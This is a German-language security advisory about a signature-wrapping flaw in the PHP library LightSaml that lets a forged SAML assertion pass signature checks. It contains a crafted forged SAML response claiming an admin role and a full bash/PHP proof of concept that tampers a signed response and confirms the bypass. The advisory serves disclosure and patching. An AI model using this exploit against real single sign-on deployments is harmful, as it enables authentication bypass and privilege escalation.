Hoch

LightSaml ermöglicht Umgehung der Signaturprüfung via Signature Wrapping

  • Veröffentlicht: 16.11.2026
  • Aktualisiert: 17.11.2026 10:00

Zusammenfassung

LightSaml 5.0.0 (neueste Version; ebenfalls bestätigt unter 4.6.1) validiert eingehende samlp:Response, indem es die direkten untergeordneten saml:Assertion-Elemente sammelt und die ds:Signature jedes Elements über robrichards/xmlseclibs validiert. Beide Schichten weichen voneinander ab, welches Element die Signatur tatsächlich abdeckt: LightSaml liest Claims aus dem gesammelten Assertion-Knoten, während xmlseclibs das signierte Reference URI="#id" über ein dokumentweites //*[@Id]-XPath auflöst, das das erste ID-tragende Element an beliebiger Stelle im Dokument zurückgibt.

Ein Angreifer, der eine echte signierte Assertion abgefangen hat, kann dies ausnutzen, um vom Angreifer verfasste, unsignierte Claims einzuschleusen.

Details

Response::deserialize sammelt Assertions mittels manyElementsFromXml, dessen relatives XPath saml:Assertion nur direkte Kindelemente von Response erfasst. Jede gesammelte Assertion wird durch AssertionSignatureValidatorAction unabhängig gegen das Out-of-Band vertrauenswürdige IdP-Zertifikat validiert (aufgelöst über Issuer entityId, niemals aus dem Dokument):

https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Protocol/Response.php#L122 https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/AbstractSamlModel.php#L93 https://github.com/litesaml/lightsaml/blob/5.0.0/src/Action/Assertion/Inbound/AssertionSignatureValidatorAction.php#L28

Die Überprüfung delegiert an xmlseclibs XMLSecurityDSig::validateReference(), das zunächst den zu validierenden Signaturknoten aus dem gemeinsamen Dokument entfernt (Entfernen der Enveloped-Signatur):

php
if (! $docElem->isSameNode($this->sigNode)) {
    if ($this->sigNode->parentNode != null) {
        $this->sigNode->parentNode->removeChild($this->sigNode);   // strips sig from shared DOM
    }
}

https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L596

processRefNode() löst anschließend URI="#id" dokumentweit auf und wählt item(0), das erste Element mit ID im gesamten Dokument (beliebiger Name oder Namespace), nicht das Element innerhalb des Signatur-Teilbaums:

php
$query = '//*['.$iDlist.']';
$dataObject = $xPath->query($query)->item(0);

https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L525

Das von xmlseclibs gewählte Digest-Ziel (//*[@Id] item(0)) stimmt daher nicht zwingend mit dem aus der vorherigen Phase überein. LightSaml liest anschließend Claims (Subject/NameID, Conditions, Attributes) aus dem zuvor gesammelten Knoten aus:

https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Assertion/Assertion.php#L288

Beispielsweise platziert ein Angreifer die echten signierten Bytes (die Assertion ohne ihr ds:Signature-Element) innerhalb von samlp:Extensions, sodass sie in Dokumentreihenfolge das erste @Id-Element ist, aber kein direktes Kindelement darstellt. Anschließend wird eine gefälschte direkte Assertion mit derselben ID, Angreifer-Claims und einer exakten Kopie der echten ds:Signature vorgelegt:

xml
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
  <saml:Issuer>https://idp.example.com</saml:Issuer>

  <!-- GENUINE signed bytes, buried in Extensions: first @Id document-wide (xmlseclibs picks this),
       but NOT a direct-child assertion (LightSaml ignores it). Signature element removed so the
       enveloped+exc-c14n digest target is the assertion sans Signature. -->
  <samlp:Extensions>
    <saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
      <saml:Issuer>https://idp.example.com</saml:Issuer>
      <saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject>
      <saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/>
      <saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>
    </saml:Assertion>
  </samlp:Extensions>

  <!-- FORGED: the ONLY direct-child assertion LightSaml collects. SAME ID, attacker claims,
       verbatim copy of the genuine ds:Signature. -->
  <saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
    <saml:Issuer>https://idp.example.com</saml:Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> ...byte-for-byte copy of the genuine signature... </ds:Signature>
    <saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>
    <saml:Conditions NotBefore="2040-01-01T00:00:00Z" NotOnOrAfter="2041-01-01T00:00:00Z"/>
    <saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>

PoC

bash
#!/usr/bin/env bash
set -euo pipefail
WORK="$(mktemp -d)"; trap 'rm -rf "$WORK"' EXIT; cd "$WORK"
IDP_ENTITY="https://idp.example.com"; ASSERTION_ID="_signed_assertion"

composer require litesaml/lightsaml:5.0.0 --no-interaction --quiet

# trusted IdP key + self-signed cert (out-of-band trust anchor)
openssl req -x509 -newkey rsa:2048 -keyout idp_key.pem -out idp_cert.pem -days 3650 -nodes \
  -subj "/CN=idp.example.com" >/dev/null 2>&1

# genuine Response with one to-be-signed assertion
cat > genuine_tmpl.xml <<XML
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
                ID="_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
  <saml:Issuer>${IDP_ENTITY}</saml:Issuer>
  <saml:Assertion ID="${ASSERTION_ID}" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
    <saml:Issuer>${IDP_ENTITY}</saml:Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
      <ds:SignedInfo>
        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
        <ds:Reference URI="#${ASSERTION_ID}">
          <ds:Transforms>
            <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
            <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
          </ds:Transforms>
          <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
          <ds:DigestValue></ds:DigestValue>
        </ds:Reference>
      </ds:SignedInfo>
      <ds:SignatureValue></ds:SignatureValue>
    </ds:Signature>
    <saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject>
    <saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/>
    <saml:AttributeStatement>
      <saml:Attribute Name="role"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>
XML

# REAL signature over the genuine assertion (RSA-SHA256, enveloped + exc-c14n)
xmlsec1 --sign --lax-key-search --privkey-pem idp_key.pem \
  --id-attr:ID "urn:oasis:names:tc:SAML:2.0:assertion:Assertion" \
  --output genuine_signed.xml genuine_tmpl.xml >/dev/null

# TAMPER: bury the genuine bytes (signature stripped) in samlp:Extensions as the first @Id element,
# and make the ONLY direct-child assertion a forged one carrying a verbatim copy of the genuine
# signature + attacker claims.
php -r '
$doc = new DOMDocument(); $doc->load("genuine_signed.xml");
$xp = new DOMXPath($doc);
$xp->registerNamespace("saml","urn:oasis:names:tc:SAML:2.0:assertion");
$xp->registerNamespace("ds","http://www.w3.org/2000/09/xmldsig#");
$resp = $doc->documentElement;
$genuine = $xp->query("//saml:Assertion[@ID=\"_signed_assertion\"]")->item(0);
$copiedSig = $doc->saveXML($xp->query("./ds:Signature", $genuine)->item(0));

// buried = genuine clone WITHOUT its signature (the enveloped+exc-c14n digest target)
$buried = $genuine->cloneNode(true);
$buried->removeChild($xp->query("./ds:Signature", $buried)->item(0));

// forged = copied signature + attacker claims (the only direct-child assertion)
$forged =
  "<saml:Assertion xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">"
  ."<saml:Issuer>https://idp.example.com</saml:Issuer>".$copiedSig
  ."<saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>"
  ."<saml:Conditions NotBefore=\"2040-01-01T00:00:00Z\" NotOnOrAfter=\"2041-01-01T00:00:00Z\"/>"
  ."<saml:AttributeStatement><saml:Attribute Name=\"role\"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>"
  ."</saml:Assertion>";
$frag = $doc->createDocumentFragment(); $frag->appendXML($forged);

// Extensions(buried genuine) replaces the original assertion (first @Id, doc order); forged appended after
$ext = $doc->createElementNS("urn:oasis:names:tc:SAML:2.0:protocol","samlp:Extensions");
$ext->appendChild($buried);
$resp->replaceChild($ext, $genuine);
$resp->appendChild($frag);
file_put_contents("tampered.xml", $doc->saveXML());
'

# SP consumer: LightSaml real per-assertion validation, pinned cert, requireSignature=true
cat > consumer.php <<'PHP'
<?php
require __DIR__ . '/vendor/autoload.php';
use LightSaml\Action\Assertion\Inbound\AssertionSignatureValidatorAction;
use LightSaml\Context\Profile\{AssertionContext, ProfileContext};
use LightSaml\Credential\{UsageType, X509Certificate, X509Credential};
use LightSaml\Context\Model\DeserializationContext;   // moved from Model\Context in 5.0.0
use LightSaml\Model\Protocol\SamlMessage;
use LightSaml\Resolver\Credential\Factory\CredentialResolverFactory;
use LightSaml\Store\Credential\StaticCredentialStore;
use LightSaml\Validator\Model\Signature\SignatureValidator;
use Psr\Log\NullLogger;

[$_, $xmlPath, $certPath, $idpEntityId] = $argv;
$x509 = new X509Certificate(); $x509->loadPem(file_get_contents($certPath));   // pinned trust anchor
$cred = new X509Credential($x509); $cred->setEntityId($idpEntityId); $cred->setUsageType(UsageType::SIGNING);
$store = new StaticCredentialStore(); $store->add($cred);
$validator = new SignatureValidator((new CredentialResolverFactory($store))->build());
$action = new AssertionSignatureValidatorAction(new NullLogger(), $validator, true); // requireSignature=true

$message = SamlMessage::fromXML(file_get_contents($xmlPath), new DeserializationContext());
$profile = new ProfileContext('profile', ProfileContext::ROLE_SP);
$bypass = false;
echo "assertions LightSaml collected: " . count($message->getAllAssertions()) . "\n";
foreach ($message->getAllAssertions() as $i => $a) {
    $nameId = ($a->getSubject() && $a->getSubject()->getNameID()) ? $a->getSubject()->getNameID()->getValue() : '(none)';
    $attrs = [];
    foreach ($a->getAllAttributeStatements() as $s) foreach ($s->getAllAttributes() as $at)
        $attrs[$at->getName()] = implode(',', array_map(fn($v) => (string)$v, $at->getAllAttributeValues()));
    echo "ASSERTION #$i  NameID=$nameId  Attributes=".json_encode($attrs)."\n";
    $ctx = new AssertionContext(); $ctx->setAssertion($a); $ctx->setParent($profile);
    try { $action->execute($ctx); $r = 'ACCEPTED'; } catch (\Throwable $e) { $r = 'REJECTED: '.$e->getMessage(); }
    echo "  LightSaml validation: $r\n";
    if ($r === 'ACCEPTED' && (strpos($nameId,'evil.com') !== false || ($attrs['role'] ?? '') === 'admin')) {
        $bypass = true; echo "  >>> BYPASS: forged assertion validated AND attacker claims surfaced\n";
    }
}
echo $bypass ? "RESULT: BYPASS CONFIRMED\n" : "RESULT: no bypass\n";
exit($bypass ? 0 : 1);
PHP

php consumer.php tampered.xml idp_cert.pem "$IDP_ENTITY"

Beobachtete Ausgabe:

assertions LightSaml collected: 1
ASSERTION #0  NameID=attacker@evil.com  Attributes={"role":"admin"}
  LightSaml validation: ACCEPTED
  >>> BYPASS: forged assertion validated AND attacker claims surfaced
RESULT: BYPASS CONFIRMED

Auswirkungen

Umgehung der Authentifizierung / Rechteausweitung. Ein Angreifer, der eine gültige signierte Assertion erfasst hat (z. B. eine eigene frühere Login-Antwort), kann LightSaml dazu veranlassen, eine vollständig manipulierte Assertion als vom IdP signiert zu akzeptieren.

Was zu tun ist

Aktualisieren Sie litesaml/lightsaml auf Version 4.7.1, 5.0.1 oder höher.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Composer-Paket litesaml/lightsaml >= 5.0.0, < 5.0.1, >= 4.0.0, < 4.7.1 5.0.1, 4.7.1

Verweise

CVSS-Wert 8.1/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Schwäche (CWE)
CWE-347
Plattform
Composer
Paket
litesaml/lightsaml
Veröffentlicht
16.11.2026
Aktualisiert
17.11.2026 10:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-w553-pwx6-3mg9 - CC BY 4.0

Schwachstellenhistorie: litesaml/lightsaml

Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Dies ist die einzige bekannte Schwachstelle dieses Pakets.

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.